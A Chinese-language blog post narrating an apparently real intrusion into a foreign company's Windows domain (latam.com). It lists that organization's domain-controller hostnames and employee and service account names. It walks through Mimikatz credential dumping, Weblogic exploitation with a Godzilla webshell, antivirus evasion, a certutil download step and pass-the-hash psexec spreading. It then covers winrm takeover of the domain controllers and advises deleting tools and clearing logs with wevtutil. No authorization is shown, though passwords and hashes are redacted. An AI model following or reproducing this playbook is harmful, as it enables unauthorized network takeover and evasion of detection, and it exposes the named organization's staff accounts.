实战打穿外企的内网

http://www.xxx.com/

查看当前权限

查看网络信息

只有一个网段192.168.0.0/24，并发现存在域环境：latam.com，当前机器是域内机器。

域控主机

主域控：ARBUEDCP02$              ARBUEDCPV01$             ARBUEDCPV03$             
ARBUEDCRV01$             ARCFDCPV01$              ARCRVDCPV01$             
ARCSDCPV01$              ARCTDCPV01$              ARLHDCPV01$              
ARMDZDCPV01$             ARMDZDCPV02$             ARNQNDCPV01$             
USIADDCPV01$             VLABA-DC02$              VLABA-DC03$

AR_CRV_Veeam_Adm         sai-admin                sa-o365                  
sa-sql                   sa-sql2                  sqlservice               
su-ceiman                su-cgarcia               su-dmansilla             
su-jkalaydjian           su-lcersosimo            su-mcarlino              
su-mferreira             svc_adauditplus          svc_sccmagentinstall     
svc_selfservice          svc_sqlmanageengine      Svc_VeeamAdm

域用户

域内主机

查询当前用户

在进程列表中，发现当前机器有域用户scom_das登录的痕迹，使用CS Mimikatz抓取明文密码和Hash，只发现本地Administrator帐户和对应的Hash值。

administrator xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

扫描域内存活主机和端口

使用Ladon插件进行内网端口扫描，发现多台机器安装Weblogic中间件。
192.168.0.75 7001 
192.168.0.82 7001 
192.168.0.81 7001 
192.168.0.150 7001 
192.168.0.168 7001

横向渗透

发现当前C段内存在不少部署Weblogic的服务器，都有对应的反序列化漏洞，但主机上都存在杀软：趋势科技，测试发现哥斯拉的Webshell可以使用，但CS的马需要进行免杀，才能上线。

192.168.0.75 7001 有杀软 可以使用哥斯拉
192.168.0.82 7001 有杀软 可以使用哥斯拉
192.168.0.81 7001 有杀软 可以使用哥斯拉
192.168.0.150 7001 有杀软 哥斯拉不行，需要免杀
192.168.0.168 7001 有杀软 certutil -urlcache -split -f

免杀马即可上线 机器全部出网

上线至CS之后，抓取明文密码和Hash，但没有发现其余用户账号和hash，只能使用Administrator账号和hash，psexec尝试批量上线其余机器，因为是Administrator用户，工作组情况下也可以的。

psexec_pth administrator xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
192.168.0.3
192.168.0.4 
192.168.0.11
192.168.0.19
192.168.0.37 
192.168.0.60
192.168.0.71 
192.168.0.74
192.168.0.238

域内机器上线成功之后，继续抓取明文密码和Hash，终于发现多个域管明文密码和账号，如下所示。

LATAMsa-sql             xxxxxx
LATAMsu-lcersosimo      xxxxxx
LATAMsu-mcarlino        xxxxxx
LATAMSvc_VeeamAdm       xxxxxx

域渗透

得到域管帐户和密码后，选择一个，使用winrm对两台域控机器进行上线，上线成功后进程迁移，并得到在ARBUEDCP02$域控机器上的账户本。

LATAMsa-sql  xxxxxx
192.168.0.66  ARBUEDCPV01$
192.168.0.25  ARBUEDCP02$

使用winrm和域管理员帐户密码继续横向上线，直至域内机器全部上线，打穿整个域，完成目标。

1、删除免杀马，防止被杀软识别，免杀失效。

2、删除上传的代理工具。

3、清理日志，wevtutil.exe。

1、外围打点，注重资产收集、攻击面的扩大，以及0day的收集，webshell的免杀，方便在项目中直接使用。

2、内网渗透，注重木马的免杀和信息的收集，以及横向渗透的思路的扩展，拿下每一台机器都要进行抓取明文密码和hash的操作并翻看机器上的文件寻找存在的配置文件，如有需要做好权限维持。

3、域渗透，注重域控主机的信息收集（根据当前主机操作系统选择不同的横向工具）和域管理员帐户密码的收集，Kerberos认证知识要去学习。

4、擦屁股，删除webshell和内网渗透工具，还有日志。

如何拿下自己学校的大屏幕(Bypass)

从敏感文件泄露到Getshell

威胁情报&&CVE仓库送达！

Xray_1.9.3_高级版

Windows 应急响应信息采集器